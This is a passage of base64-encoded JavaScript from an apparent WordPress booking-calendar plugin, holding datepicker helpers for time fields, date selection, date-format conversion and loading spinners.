saXQoICc6JyApO1xyXG5cclxuXHRcdFx0XHRcdFx0dmFyIHRpbWVfaW5fc2Vjb25kcyA9IHBhcnNlSW50KCBzdGFydF9lbmRfdGltZXNfYXJyWyAwIF0gKSAqIDYwICogNjAgKyBwYXJzZUludCggc3RhcnRfZW5kX3RpbWVzX2FyclsgMSBdICkgKiA2MDtcclxuXHJcblx0XHRcdFx0XHRcdHRpbWVzX2FzX3NlY29uZHMucHVzaCggdGltZV9pbl9zZWNvbmRzICk7XHJcblx0XHRcdFx0XHR9XHJcblx0XHRcdFx0fVxyXG5cclxuXHRcdFx0XHR0aW1lX2ZpZWxkc19vYmpfYXJyLnB1c2goIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCduYW1lJyAgICAgICAgICAgIDogalF1ZXJ5KCAnI2Jvb2tpbmdfZm9ybScgKyByZXNvdXJjZV9pZCArICcgJyArIHRpbWVfZmllbGQgKS5hdHRyKCAnbmFtZScgKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd2YWx1ZV9vcHRpb25fMjRoJzoganF1ZXJ5X29wdGlvbi52YWwoKSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCdqcXVlcnlfb3B0aW9uJyAgIDoganF1ZXJ5X29wdGlvbixcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0aW1lc19hc19zZWNvbmRzJzogdGltZXNfYXNfc2Vjb25kc1xyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdH0gKTtcclxuXHRcdFx0fVxyXG5cdFx0fVxyXG5cclxuXHRcdC8vIFRleHQ6ICAgW3N0YXJ0dGltZV0gLSBbZW5kdGltZV0gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHJcblx0XHR2YXIgdGV4dF90aW1lX2ZpZWxkc19hcnI9W1xyXG5cdFx0XHRcdFx0XHRcdFx0XHQnaW5wdXRbbmFtZT1cInN0YXJ0dGltZScgKyByZXNvdXJjZV9pZCArICdcIl0nLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHQnaW5wdXRbbmFtZT1cImVuZHRpbWUnICsgcmVzb3VyY2VfaWQgKyAnXCJdJyxcclxuXHRcdFx0XHRcdFx0XHRcdF07XHJcblx0XHRmb3IgKCB2YXIgdGY9IDA7IHRmIDwgdGV4dF90aW1lX2ZpZWxkc19hcnIubGVuZ3RoOyB0ZisrICl7XHJcblxyXG5cdFx0XHR2YXIgdGV4dF9qcXVlcnkgPSBqUXVlcnkoICcjYm9va2luZ19mb3JtJyArIHJlc291cmNlX2lkICsgJyAnICsgdGV4dF90aW1lX2ZpZWxkc19hcnJbIHRmIF0gKTtcdFx0XHRcdFx0XHRcdFx0Ly8gRXhjbHVkZSBjb25kaXRpb25hbCAgZmllbGRzLCAgYmVjYXVzZSBvZiB1c2luZyAnI2Jvb2tpbmdfZm9ybTMgLi4uJ1xyXG5cdFx0XHRpZiAoIHRleHRfanF1ZXJ5Lmxlbmd0aCA+IDAgKXtcclxuXHJcblx0XHRcdFx0dmFyIHRpbWVfX2hfbV9fYXJyID0gdGV4dF9qcXVlcnkudmFsKCkudHJpbSgpLnNwbGl0KCAnOicgKTtcdFx0XHRcdFx0XHRcdFx0XHRcdFx0XHRcdFx0Ly8gJzE0OjAwJ1xyXG5cdFx0XHRcdGlmICggMCA9PSB0aW1lX19oX21fX2Fyci5sZW5ndGggKXtcclxuXHRcdFx0XHRcdGNvbnRpbnVlO1x0XHRcdFx0XHRcdFx0XHRcdC8vIE5vdCBlbnRlcmVkIHRpbWUgdmFsdWUgaW4gYSBmaWVsZFxyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHRpZiAoIDEgPT0gdGltZV9faF9tX19hcnIubGVuZ3RoICl7XHJcblx0XHRcdFx0XHRpZiAoICcnID09PSB0aW1lX19oX21fX2FyclsgMCBdICl7XHJcblx0XHRcdFx0XHRcdGNvbnRpbnVlO1x0XHRcdFx0XHRcdFx0XHQvLyBOb3QgZW50ZXJlZCB0aW1lIHZhbHVlIGluIGEgZmllbGRcclxuXHRcdFx0XHRcdH1cclxuXHRcdFx0XHRcdHRpbWVfX2hfbV9fYXJyWyAxIF0gPSAwO1xyXG5cdFx0XHRcdH1cclxuXHRcdFx0XHR2YXIgdGV4dF90aW1lX2luX3NlY29uZHMgPSBwYXJzZUludCggdGltZV9faF9tX19hcnJbIDAgXSApICogNjAgKiA2MCArIHBhcnNlSW50KCB0aW1lX19oX21fX2FyclsgMSBdICkgKiA2MDtcclxuXHJcblx0XHRcdFx0dmFyIHRleHRfdGltZXNfYXNfc2Vjb25kcyA9IFtdO1xyXG5cdFx0XHRcdHRleHRfdGltZXNfYXNfc2Vjb25kcy5wdXNoKCB0ZXh0X3RpbWVfaW5fc2Vjb25kcyApO1xyXG5cclxuXHRcdFx0XHR0aW1lX2ZpZWxkc19vYmpfYXJyLnB1c2goIHtcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCduYW1lJyAgICAgICAgICAgIDogdGV4dF9qcXVlcnkuYXR0ciggJ25hbWUnICksXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0XHQndmFsdWVfb3B0aW9uXzI0aCc6IHRleHRfanF1ZXJ5LnZhbCgpLFxyXG5cdFx0XHRcdFx0XHRcdFx0XHRcdFx0J2pxdWVyeV9vcHRpb24nICAgOiB0ZXh0X2pxdWVyeSxcclxuXHRcdFx0XHRcdFx0XHRcdFx0XHRcdCd0aW1lc19hc19zZWNvbmRzJzogdGV4dF90aW1lc19hc19zZWNvbmRzXHJcblx0XHRcdFx0XHRcdFx0XHRcdFx0fSApO1xyXG5cdFx0XHR9XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIHRpbWVfZmllbGRzX29ial9hcnI7XHJcblx0fVxyXG5cclxuXHJcblxyXG4vLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuLyogID09ICBTIFUgUCBQIE8gUiBUICAgIGZvciAgICBDIEEgTCBFIE4gRCBBIFIgID09XHJcbi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqL1xyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgQ2FsZW5kYXIgZGF0ZXBpY2sgIEluc3RhbmNlXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkICBvZiBib29raW5nIHJlc291cmNlXHJcblx0ICogQHJldHVybnMgeyp8bnVsbH1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19nZXRfaW5zdCggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKHJlc291cmNlX2lkKSApe1xyXG5cdFx0XHRyZXNvdXJjZV9pZCA9ICcxJztcclxuXHRcdH1cclxuXHJcblx0XHRpZiAoIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkubGVuZ3RoID4gMCApe1xyXG5cdFx0XHRyZXR1cm4galF1ZXJ5LmRhdGVwaWNrLl9nZXRJbnN0KCBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLmdldCggMCApICk7XHJcblx0XHR9XHJcblxyXG5cdFx0cmV0dXJuIG51bGw7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBVbnNlbGVjdCAgYWxsIGRhdGVzIGluIGNhbGVuZGFyIGFuZCB2aXN1YWxseSB1cGRhdGUgdGhpcyBjYWxlbmRhclxyXG5cdCAqXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHRcdElEIG9mIGJvb2tpbmcgcmVzb3VyY2VcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cdFx0dHJ1ZSBvbiBzdWNjZXNzIHwgZmFsc2UsICBpZiBubyBzdWNoICBjYWxlbmRhclxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX3Vuc2VsZWN0X2FsbF9kYXRlcyggcmVzb3VyY2VfaWQgKXtcclxuXHJcblx0XHRpZiAoICd1bmRlZmluZWQnID09PSB0eXBlb2YgKHJlc291cmNlX2lkKSApe1xyXG5cdFx0XHRyZXNvdXJjZV9pZCA9ICcxJztcclxuXHRcdH1cclxuXHJcblx0XHR2YXIgaW5zdCA9IHdwYmNfY2FsZW5kYXJfX2dldF9pbnN0KCByZXNvdXJjZV9pZCApXHJcblxyXG5cdFx0aWYgKCBudWxsICE9PSBpbnN0ICl7XHJcblxyXG5cdFx0XHQvLyBVbnNlbGVjdCBhbGwgZGF0ZXMgYW5kIHNldCAgcHJvcGVydGllcyBvZiBEYXRlcGlja1xyXG5cdFx0XHRqUXVlcnkoICcjZGF0ZV9ib29raW5nJyArIHJlc291cmNlX2lkICkudmFsKCAnJyApOyAgICAgIC8vRml4SW46IDUuNC4zXHJcblx0XHRcdGluc3Quc3RheU9wZW4gPSBmYWxzZTtcclxuXHRcdFx0aW5zdC5kYXRlcyA9IFtdO1xyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3VwZGF0ZURhdGVwaWNrKCBpbnN0ICk7XHJcblxyXG5cdFx0XHRyZXR1cm4gdHJ1ZVxyXG5cdFx0fVxyXG5cclxuXHRcdHJldHVybiBmYWxzZTtcclxuXHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBDbGVhciBkYXlzIGhpZ2hsaWdodGluZyBpbiBBbGwgb3Igc3BlY2lmaWMgQ2FsZW5kYXJzXHJcblx0ICpcclxuICAgICAqIEBwYXJhbSByZXNvdXJjZV9pZCAgLSBjYW4gYmUgc2tpcGVkIHRvICBjbGVhciBoaWdobGlnaHRpbmcgaW4gYWxsIGNhbGVuZGFyc1xyXG4gICAgICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcnNfX2NsZWFyX2RheXNfaGlnaGxpZ2h0aW5nKCByZXNvdXJjZV9pZCApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgIT09IHR5cGVvZiAoIHJlc291cmNlX2lkICkgKXtcclxuXHJcblx0XHRcdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICsgJyAuZGF0ZXBpY2stZGF5cy1jZWxsLW92ZXInICkucmVtb3ZlQ2xhc3MoICdkYXRlcGljay1kYXlzLWNlbGwtb3ZlcicgKTtcdFx0Ly8gQ2xlYXIgaW4gc3BlY2lmaWMgY2FsZW5kYXJcclxuXHJcblx0XHR9IGVsc2Uge1xyXG5cdFx0XHRqUXVlcnkoICcuZGF0ZXBpY2stZGF5cy1jZWxsLW92ZXInICkucmVtb3ZlQ2xhc3MoICdkYXRlcGljay1kYXlzLWNlbGwtb3ZlcicgKTtcdFx0XHRcdFx0XHRcdFx0Ly8gQ2xlYXIgaW4gYWxsIGNhbGVuZGFyc1xyXG5cdFx0fVxyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogU2Nyb2xsIHRvIHNwZWNpZmljIG1vbnRoIGluIGNhbGVuZGFyXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcdFx0SUQgb2YgcmVzb3VyY2VcclxuXHQgKiBAcGFyYW0geWVhclx0XHRcdFx0LSByZWFsIHllYXIgIC0gMjAyM1xyXG5cdCAqIEBwYXJhbSBtb250aFx0XHRcdFx0LSByZWFsIG1vbnRoIC0gMTJcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19zY3JvbGxfdG8oIHJlc291cmNlX2lkLCB5ZWFyLCBtb250aCApe1xyXG5cclxuXHRcdGlmICggJ3VuZGVmaW5lZCcgPT09IHR5cGVvZiAocmVzb3VyY2VfaWQpICl7IHJlc291cmNlX2lkID0gJzEnOyB9XHJcblx0XHR2YXIgaW5zdCA9IHdwYmNfY2FsZW5kYXJfX2dldF9pbnN0KCByZXNvdXJjZV9pZCApXHJcblx0XHRpZiAoIG51bGwgIT09IGluc3QgKXtcclxuXHJcblx0XHRcdHllYXIgID0gcGFyc2VJbnQoIHllYXIgKTtcclxuXHRcdFx0bW9udGggPSBwYXJzZUludCggbW9udGggKSAtIDE7XHRcdC8vIEluIEpTIGRhdGUsICBtb250aCAtMVxyXG5cclxuXHRcdFx0aW5zdC5jdXJzb3JEYXRlID0gbmV3IERhdGUoKTtcclxuXHRcdFx0Ly8gSW4gc29tZSBjYXNlcywgIHRoZSBzZXRGdWxsWWVhciBjYW4gIHNldCAgb25seSBZZWFyLCAgYW5kIG5vdCB0aGUgTW9udGggYW5kIGRheSAgICAgIC8vRml4SW46Ni4yLjMuNVxyXG5cdFx0XHRpbnN0LmN1cnNvckRhdGUuc2V0RnVsbFllYXIoIHllYXIsIG1vbnRoLCAxICk7XHJcblx0XHRcdGluc3QuY3Vyc29yRGF0ZS5zZXRNb250aCggbW9udGggKTtcclxuXHRcdFx0aW5zdC5jdXJzb3JEYXRlLnNldERhdGUoIDEgKTtcclxuXHJcblx0XHRcdGluc3QuZHJhd01vbnRoID0gaW5zdC5jdXJzb3JEYXRlLmdldE1vbnRoKCk7XHJcblx0XHRcdGluc3QuZHJhd1llYXIgPSBpbnN0LmN1cnNvckRhdGUuZ2V0RnVsbFllYXIoKTtcclxuXHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fbm90aWZ5Q2hhbmdlKCBpbnN0ICk7XHJcblx0XHRcdGpRdWVyeS5kYXRlcGljay5fYWRqdXN0SW5zdERhdGUoIGluc3QgKTtcclxuXHRcdFx0alF1ZXJ5LmRhdGVwaWNrLl9zaG93RGF0ZSggaW5zdCApO1xyXG5cdFx0XHRqUXVlcnkuZGF0ZXBpY2suX3VwZGF0ZURhdGVwaWNrKCBpbnN0ICk7XHJcblxyXG5cdFx0XHRyZXR1cm4gdHJ1ZTtcclxuXHRcdH1cclxuXHRcdHJldHVybiBmYWxzZTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIElzIHRoaXMgZGF0ZSBzZWxlY3RhYmxlIGluIGNhbGVuZGFyIChtYWlubHkgaXQncyBtZWFucyBBVkFJTEFCTEUgZGF0ZSlcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSB7aW50fHN0cmluZ30gcmVzb3VyY2VfaWRcdFx0MVxyXG5cdCAqIEBwYXJhbSB7c3RyaW5nfSBzcWxfY2xhc3NfZGF5XHRcdCcyMDIzLTA4LTExJ1xyXG5cdCAqIEByZXR1cm5zIHtib29sZWFufVx0XHRcdFx0XHR0cnVlIHwgZmFsc2VcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2lzX3RoaXNfZGF5X3NlbGVjdGFibGUoIHJlc291cmNlX2lkLCBzcWxfY2xhc3NfZGF5ICl7XHJcblxyXG5cdFx0Ly8gR2V0IERhdGEgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cclxuXHRcdHZhciBkYXRlX2Jvb2tpbmdzX29iaiA9IF93cGJjLmJvb2tpbmdzX2luX2NhbGVuZGFyX19nZXRfZm9yX2RhdGUoIHJlc291cmNlX2lkLCBzcWxfY2xhc3NfZGF5ICk7XHJcblxyXG5cdFx0dmFyIGlzX2RheV9zZWxlY3RhYmxlID0gKCBwYXJzZUludCggZGF0ZV9ib29raW5nc19vYmpbICdkYXlfYXZhaWxhYmlsaXR5JyBdICkgPiAwICk7XHJcblxyXG5cdFx0aWYgKCB0eXBlb2YgKGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeScgXSkgPT09ICd1bmRlZmluZWQnICl7XHJcblx0XHRcdHJldHVybiBpc19kYXlfc2VsZWN0YWJsZTtcclxuXHRcdH1cclxuXHJcblx0XHRpZiAoICdhdmFpbGFibGUnICE9IGRhdGVfYm9va2luZ3Nfb2JqWyAnc3VtbWFyeSddWydzdGF0dXNfZm9yX2RheScgXSApe1xyXG5cclxuXHRcdFx0dmFyIGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZSA9IF93cGJjLmNhbGVuZGFyX19nZXRfcGFyYW1fdmFsdWUoIHJlc291cmNlX2lkLCAncGVuZGluZ19kYXlzX3NlbGVjdGFibGUnICk7XHRcdC8vIHNldCBwZW5kaW5nIGRheXMgc2VsZWN0YWJsZSAgICAgICAgICAvL0ZpeEluOiA4LjYuMS4xOFxyXG5cclxuXHRcdFx0c3dpdGNoICggZGF0ZV9ib29raW5nc19vYmpbICdzdW1tYXJ5J11bJ3N0YXR1c19mb3JfYm9va2luZ3MnIF0gKXtcclxuXHRcdFx0XHRjYXNlICdwZW5kaW5nJzpcclxuXHRcdFx0XHQvLyBTaXR1YXRpb25zIGZvciBcImNoYW5nZS1vdmVyXCIgZGF5czpcclxuXHRcdFx0XHRjYXNlICdwZW5kaW5nX3BlbmRpbmcnOlxyXG5cdFx0XHRcdGNhc2UgJ3BlbmRpbmdfYXBwcm92ZWQnOlxyXG5cdFx0XHRcdGNhc2UgJ2FwcHJvdmVkX3BlbmRpbmcnOlxyXG5cdFx0XHRcdFx0aXNfZGF5X3NlbGVjdGFibGUgPSAoaXNfZGF5X3NlbGVjdGFibGUpID8gdHJ1ZSA6IGlzX3NldF9wZW5kaW5nX2RheXNfc2VsZWN0YWJsZTtcclxuXHRcdFx0XHRcdGJyZWFrO1xyXG5cdFx0XHRcdGRlZmF1bHQ6XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gaXNfZGF5X3NlbGVjdGFibGU7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBJcyBkYXRlIHRvIGNoZWNrIElOIGFycmF5IG9mIHNlbGVjdGVkIGRhdGVzXHJcblx0ICpcclxuXHQgKiBAcGFyYW0ge2RhdGV9anNfZGF0ZV90b19jaGVja1x0XHQtIEpTIERhdGVcdFx0XHQtIHNpbXBsZSAgSmF2YVNjcmlwdCBEYXRlIG9iamVjdFxyXG5cdCAqIEBwYXJhbSB7W119IGpzX2RhdGVzX2Fyclx0XHRcdC0gWyBKU0RhdGUsIC4uLiBdICAgLSBhcnJheSAgb2YgSlMgZGF0ZXNcclxuXHQgKiBAcmV0dXJucyB7Ym9vbGVhbn1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2lzX3RoaXNfZGF5X2Ftb25nX3NlbGVjdGVkX2RheXMoIGpzX2RhdGVfdG9fY2hlY2ssIGpzX2RhdGVzX2FyciApe1xyXG5cclxuXHRcdGZvciAoIHZhciBkYXRlX2luZGV4ID0gMDsgZGF0ZV9pbmRleCA8IGpzX2RhdGVzX2Fyci5sZW5ndGggOyBkYXRlX2luZGV4KysgKXsgICAgIFx0XHRcdFx0XHRcdFx0XHRcdC8vRml4SW46IDguNC41LjE2XHJcblx0XHRcdGlmICggKCBqc19kYXRlc19hcnJbIGRhdGVfaW5kZXggXS5nZXRGdWxsWWVhcigpID09PSBqc19kYXRlX3RvX2NoZWNrLmdldEZ1bGxZZWFyKCkgKSAmJlxyXG5cdFx0XHRcdCAoIGpzX2RhdGVzX2FyclsgZGF0ZV9pbmRleCBdLmdldE1vbnRoKCkgPT09IGpzX2RhdGVfdG9fY2hlY2suZ2V0TW9udGgoKSApICYmXHJcblx0XHRcdFx0ICgganNfZGF0ZXNfYXJyWyBkYXRlX2luZGV4IF0uZ2V0RGF0ZSgpID09PSBqc19kYXRlX3RvX2NoZWNrLmdldERhdGUoKSApICkge1xyXG5cdFx0XHRcdFx0cmV0dXJuIHRydWU7XHJcblx0XHRcdH1cclxuXHRcdH1cclxuXHJcblx0XHRyZXR1cm4gIGZhbHNlO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IFNRTCBDbGFzcyBEYXRlICcyMDIzLTA4LTAxJyBmcm9tICBKUyBEYXRlXHJcblx0ICpcclxuXHQgKiBAcGFyYW0gZGF0ZVx0XHRcdFx0SlMgRGF0ZVxyXG5cdCAqIEByZXR1cm5zIHtzdHJpbmd9XHRcdCcyMDIzLTA4LTEyJ1xyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfX2dldF9fc3FsX2NsYXNzX2RhdGUoIGRhdGUgKXtcclxuXHJcblx0XHR2YXIgc3FsX2NsYXNzX2RheSA9IGRhdGUuZ2V0RnVsbFllYXIoKSArICctJztcclxuXHRcdFx0c3FsX2NsYXNzX2RheSArPSAoICggZGF0ZS5nZXRNb250aCgpICsgMSApIDwgMTAgKSA/ICcwJyA6ICcnO1xyXG5cdFx0XHRzcWxfY2xhc3NfZGF5ICs9ICggZGF0ZS5nZXRNb250aCgpICsgMSApICsgJy0nXHJcblx0XHRcdHNxbF9jbGFzc19kYXkgKz0gKCBkYXRlLmdldERhdGUoKSA8IDEwICkgPyAnMCcgOiAnJztcclxuXHRcdFx0c3FsX2NsYXNzX2RheSArPSBkYXRlLmdldERhdGUoKTtcclxuXHJcblx0XHRcdHJldHVybiBzcWxfY2xhc3NfZGF5O1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IEpTIERhdGUgZnJvbSAgdGhlIFNRTCBkYXRlIGZvcm1hdCAnMjAyNC0wNS0xNCdcclxuXHQgKiBAcGFyYW0gc3FsX2NsYXNzX2RhdGVcclxuXHQgKiBAcmV0dXJucyB7RGF0ZX1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19nZXRfX2pzX2RhdGUoIHNxbF9jbGFzc19kYXRlICl7XHJcblxyXG5cdFx0dmFyIHNxbF9jbGFzc19kYXRlX2FyciA9IHNxbF9jbGFzc19kYXRlLnNwbGl0KCAnLScgKTtcclxuXHJcblx0XHR2YXIgZGF0ZV9qcyA9IG5ldyBEYXRlKCk7XHJcblxyXG5cdFx0ZGF0ZV9qcy5zZXRGdWxsWWVhciggcGFyc2VJbnQoIHNxbF9jbGFzc19kYXRlX2FyclsgMCBdICksIChwYXJzZUludCggc3FsX2NsYXNzX2RhdGVfYXJyWyAxIF0gKSAtIDEpLCBwYXJzZUludCggc3FsX2NsYXNzX2RhdGVfYXJyWyAyIF0gKSApOyAgLy8geWVhciwgbW9udGgsIGRhdGVcclxuXHJcblx0XHQvLyBXaXRob3V0IHRoaXMgdGltZSBhZGp1c3QgRGF0ZXMgc2VsZWN0aW9uICBpbiBEYXRlcGlja2VyIGNhbiBub3Qgd29yayEhIVxyXG5cdFx0ZGF0ZV9qcy5zZXRIb3VycygwKTtcclxuXHRcdGRhdGVfanMuc2V0TWludXRlcygwKTtcclxuXHRcdGRhdGVfanMuc2V0U2Vjb25kcygwKTtcclxuXHRcdGRhdGVfanMuc2V0TWlsbGlzZWNvbmRzKDApO1xyXG5cclxuXHRcdHJldHVybiBkYXRlX2pzO1xyXG5cdH1cclxuXHJcblx0LyoqXHJcblx0ICogR2V0IFREIENsYXNzIERhdGUgJzEtMzEtMjAyMycgZnJvbSAgSlMgRGF0ZVxyXG5cdCAqXHJcblx0ICogQHBhcmFtIGRhdGVcdFx0XHRcdEpTIERhdGVcclxuXHQgKiBAcmV0dXJucyB7c3RyaW5nfVx0XHQnMS0zMS0yMDIzJ1xyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfX2dldF9fdGRfY2xhc3NfZGF0ZSggZGF0ZSApe1xyXG5cclxuXHRcdHZhciB0ZF9jbGFzc19kYXkgPSAoZGF0ZS5nZXRNb250aCgpICsgMSkgKyAnLScgKyBkYXRlLmdldERhdGUoKSArICctJyArIGRhdGUuZ2V0RnVsbFllYXIoKTtcdFx0XHRcdFx0XHRcdFx0Ly8gJzEtOS0yMDIzJ1xyXG5cclxuXHRcdHJldHVybiB0ZF9jbGFzc19kYXk7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBHZXQgZGF0ZSBwYXJhbXMgZnJvbSAgc3RyaW5nIGRhdGVcclxuXHQgKlxyXG5cdCAqIEBwYXJhbSBkYXRlXHRcdFx0c3RyaW5nIGRhdGUgbGlrZSAnMzEuNS4yMDIzJ1xyXG5cdCAqIEBwYXJhbSBzZXBhcmF0b3JcdFx0ZGVmYXVsdCAnLicgIGNhbiBiZSBza2lwcGVkLlxyXG5cdCAqIEByZXR1cm5zIHsgIHtkYXRlOiBudW1iZXIsIG1vbnRoOiBudW1iZXIsIHllYXI6IG51bWJlcn0gIH1cclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX19nZXRfX2RhdGVfcGFyYW1zX19mcm9tX3N0cmluZ19kYXRlKCBkYXRlICwgc2VwYXJhdG9yKXtcclxuXHJcblx0XHRzZXBhcmF0b3IgPSAoICd1bmRlZmluZWQnICE9PSB0eXBlb2YgKHNlcGFyYXRvcikgKSA/IHNlcGFyYXRvciA6ICcuJztcclxuXHJcblx0XHR2YXIgZGF0ZV9hcnIgPSBkYXRlLnNwbGl0KCBzZXBhcmF0b3IgKTtcclxuXHRcdHZhciBkYXRlX29iaiA9IHtcclxuXHRcdFx0J3llYXInIDogIHBhcnNlSW50KCBkYXRlX2FyclsgMiBdICksXHJcblx0XHRcdCdtb250aCc6IChwYXJzZUludCggZGF0ZV9hcnJbIDEgXSApIC0gMSksXHJcblx0XHRcdCdkYXRlJyA6ICBwYXJzZUludCggZGF0ZV9hcnJbIDAgXSApXHJcblx0XHR9O1xyXG5cdFx0cmV0dXJuIGRhdGVfb2JqO1x0XHQvLyBmb3IgXHRcdCA9IG5ldyBEYXRlKCBkYXRlX29iai55ZWFyICwgZGF0ZV9vYmoubW9udGggLCBkYXRlX29iai5kYXRlICk7XHJcblx0fVxyXG5cclxuXHQvKipcclxuXHQgKiBBZGQgU3BpbiBMb2FkZXIgdG8gIGNhbGVuZGFyXHJcblx0ICogQHBhcmFtIHJlc291cmNlX2lkXHJcblx0ICovXHJcblx0ZnVuY3Rpb24gd3BiY19jYWxlbmRhcl9fbG9hZGluZ19fc3RhcnQoIHJlc291cmNlX2lkICl7XHJcblx0XHRpZiAoICEgalF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKS5uZXh0KCkuaGFzQ2xhc3MoICd3cGJjX3NwaW5zX2xvYWRlcl93cmFwcGVyJyApICl7XHJcblx0XHRcdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkuYWZ0ZXIoICc8ZGl2IGNsYXNzPVwid3BiY19zcGluc19sb2FkZXJfd3JhcHBlclwiPjxkaXYgY2xhc3M9XCJ3cGJjX3NwaW5zX2xvYWRlclwiPjwvZGl2PjwvZGl2PicgKTtcclxuXHRcdH1cclxuXHRcdGlmICggISBqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLmhhc0NsYXNzKCAnd3BiY19jYWxlbmRhcl9ibHVyX3NtYWxsJyApICl7XHJcblx0XHRcdGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkuYWRkQ2xhc3MoICd3cGJjX2NhbGVuZGFyX2JsdXJfc21hbGwnICk7XHJcblx0XHR9XHJcblx0XHR3cGJjX2NhbGVuZGFyX19ibHVyX19zdGFydCggcmVzb3VyY2VfaWQgKTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIFJlbW92ZSBTcGluIExvYWRlciB0byAgY2FsZW5kYXJcclxuXHQgKiBAcGFyYW0gcmVzb3VyY2VfaWRcclxuXHQgKi9cclxuXHRmdW5jdGlvbiB3cGJjX2NhbGVuZGFyX19sb2FkaW5nX19zdG9wKCByZXNvdXJjZV9pZCApe1xyXG5cdFx0alF1ZXJ5KCAnI2NhbGVuZGFyX2Jvb2tpbmcnICsgcmVzb3VyY2VfaWQgKyAnICsgLndwYmNfc3BpbnNfbG9hZGVyX3dyYXBwZXInICkucmVtb3ZlKCk7XHJcblx0XHRqUXVlcnkoICcjY2FsZW5kYXJfYm9va2luZycgKyByZXNvdXJjZV9pZCApLnJlbW92ZUNsYXNzKCAnd3BiY19jYWxlbmRhcl9ibHVyX3NtYWxsJyApO1xyXG5cdFx0d3BiY19jYWxlbmRhcl9fYmx1cl9fc3RvcCggcmVzb3VyY2VfaWQgKTtcclxuXHR9XHJcblxyXG5cdC8qKlxyXG5cdCAqIEFkZCBCbHVyIHRvICBjYWxlbmRhclxyXG5cdCAqIEBwYXJhbSByZXNvdXJjZV9pZFxyXG5cdCAqL1xyXG5cdGZ1bmN0aW9uIHdwYmNfY2FsZW5kYXJfX2JsdXJfX3N0YXJ0KCByZXNvdXJjZV9pZCApe1xyXG5cdFx0aWYgKCAhIGpRdWVyeSggJyNjYWxlbmRhcl9ib29raW5nJyArIHJlc291cmNlX2lkICkuaGFzQ2xhc3MoICd3cGJjX2NhbGVuZGFyX2JsdXInICkgKXtcclxuXHRcdFx0alF1ZXJ5